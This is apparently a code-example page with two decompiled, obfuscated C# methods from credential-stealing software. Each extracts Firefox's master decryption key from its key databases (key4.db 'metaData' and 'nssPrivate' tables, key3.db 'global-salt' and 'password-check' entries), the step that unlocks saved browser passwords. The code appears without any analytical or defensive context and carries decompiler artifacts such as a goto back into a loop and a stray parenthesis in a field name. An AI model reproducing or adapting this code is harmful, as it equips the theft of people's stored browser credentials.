Example #1
0
    // Token: 0x060001E7 RID: 487 RVA: 0x0000F8F4 File Offset: 0x0000DAF4
    private static byte[] smethod_9(string string_3)
    {
        byte[] array = new byte[24];
        byte[] result;
        try
        {
            if (File.Exists(string_3))
            {
                CNT cnt = new CNT(string_3);
                cnt.ReadTable("metaData");
                string s           = cnt.ParseValue(0, "item1");
                string s2          = cnt.ParseValue(0, "item2)");
                Gecko4 gecko       = Gecko1.Create(Encoding.Default.GetBytes(s2));
                byte[] objectData  = gecko.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
                byte[] objectData2 = gecko.Objects[0].Objects[1].ObjectData;
                Gecko8 gecko2      = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
                gecko2.method_3();
                Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, objectData2, PaddingMode.None);
                cnt.ReadTable("nssPrivate");
                int    rowLength = cnt.RowLength;
                string s3        = string.Empty;
                for (int i = 0; i < rowLength; i++)
                {
                    if (cnt.ParseValue(i, "a102") == Encoding.Default.GetString(Class12.ElvrdiiYvB))
                    {
                        s3 = cnt.ParseValue(i, "a11");
IL_152:
                        Gecko4 gecko3 = Gecko1.Create(Encoding.Default.GetBytes(s3));
                        objectData    = gecko3.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
                        objectData2   = gecko3.Objects[0].Objects[1].ObjectData;
                        gecko2        = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
                        gecko2.method_3();
                        array = Encoding.Default.GetBytes(Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, objectData2, PaddingMode.PKCS7));
                        return(array);
                    }
                }
                goto IL_152;
            }
            result = array;
        }
        catch (Exception)
        {
            result = array;
        }
        return(result);
    }
Example #2
0
 // Token: 0x060001E8 RID: 488 RVA: 0x0000FB2C File Offset: 0x0000DD2C
 private static byte[] smethod_10(string string_3)
 {
     byte[] array = new byte[24];
     byte[] result;
     try
     {
         if (!File.Exists(string_3))
         {
             result = array;
         }
         else
         {
             new DataTable();
             Gecko9 gecko9_  = new Gecko9(string_3);
             Gecko7 gecko    = new Gecko7(Class12.smethod_11(gecko9_, (string x) => x.Equals("password-check")));
             string string_4 = Class12.smethod_11(gecko9_, (string x) => x.Equals("global-salt"));
             Gecko8 gecko2   = new Gecko8(Class12.iefripvQgb(string_4), Encoding.Default.GetBytes(string.Empty), Class12.iefripvQgb(gecko.EntrySalt));
             gecko2.method_3();
             Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, Class12.iefripvQgb(gecko.Passwordcheck), PaddingMode.None);
             Gecko4 gecko3 = Gecko1.Create(Class12.iefripvQgb(Class12.smethod_11(gecko9_, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt"))));
             Gecko8 gecko4 = new Gecko8(Class12.iefripvQgb(string_4), Encoding.Default.GetBytes(string.Empty), gecko3.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData);
             gecko4.method_3();
             Gecko4 gecko5 = Gecko1.Create(Gecko1.Create(Encoding.Default.GetBytes(Gecko6.lTRjlt(gecko4.DataKey, gecko4.DataIV, gecko3.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData);
             if (gecko5.Objects[0].Objects[3].ObjectData.Length <= 24)
             {
                 array  = gecko5.Objects[0].Objects[3].ObjectData;
                 result = array;
             }
             else
             {
                 Array.Copy(gecko5.Objects[0].Objects[3].ObjectData, gecko5.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24);
                 result = array;
             }
         }
     }
     catch (Exception)
     {
         result = array;
     }
     return(result);
 }